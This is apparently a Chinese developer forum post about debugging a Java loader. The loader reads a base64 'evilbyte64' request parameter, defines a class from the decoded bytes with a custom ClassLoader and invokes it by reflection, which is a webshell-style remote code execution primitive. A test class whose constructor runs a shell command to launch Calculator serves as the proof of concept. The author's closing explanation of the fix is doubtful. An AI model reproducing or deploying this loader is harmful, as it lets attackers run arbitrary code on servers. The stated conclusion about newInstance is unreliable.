需要实例化的类:
package com.sorry.jcoffe.Debug.Reflection;
public class Person {
private String name;
private int age;
public Person() {
}
private String getName() {
return name;
}
private int getAge() {
return age;
}
private void setName(String name) {
this.name = name;
}
private void setAge(int age) {
this.age = age;
}
}
实例化
String kk = req.getParameter("evilbyte64");
byte[] evil =new sun.misc.BASE64Decoder().decodeBuffer(kk);
Class evilClass = new customClassLoader().customDefineClass(evil);
Object evilObj = evilClass.newInstance();
Method method1 = evilObj.getClass().getDeclaredMethod("setName",String.class);
Method method2 = evilObj.getClass().getDeclaredMethod("setAge",int.class);
Method method3 = evilObj.getClass().getDeclaredMethod("getName");
method1.setAccessible(true);
method2.setAccessible(true);
method3.setAccessible(true);
method1.invoke(evilObj,"evil in request");
method2.invoke(evilObj,1);
String result = (String )method3.invoke(evilObj);
....
class customClassLoader extends ClassLoader{
public Class customDefineClass(byte[] evilbytes){
return super.defineClass(evilbytes,0,evilbytes.length);
}
}
网上是说没有无参构造类,但我是写了的.
换了一个类是能够反射实例化的并调用方法的
package com.sorry.jcoffe.Utils.Class2Bytes;
import java.io.IOException;
import java.util.Scanner;
public class Calculator {
//definecalss取对象的时候会默认调用无参构造函数
public Calculator(){
java.lang.ProcessBuilder p;
p = new java.lang.ProcessBuilder("/bin/sh","-c","open /System/Applications/Calculator.app");
try {
Scanner scanner = new Scanner(p.start().getInputStream().toString()).useDelimiter("A");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("define class successful!");
}
public void echo(){
System.out.println("this will not be init");
}
public static void main(String[] args) {
Calculator c = new Calculator();
}
}
已解决
反射用newInstance实例化的时候不仅要有无参构造函数,里面还要有操作.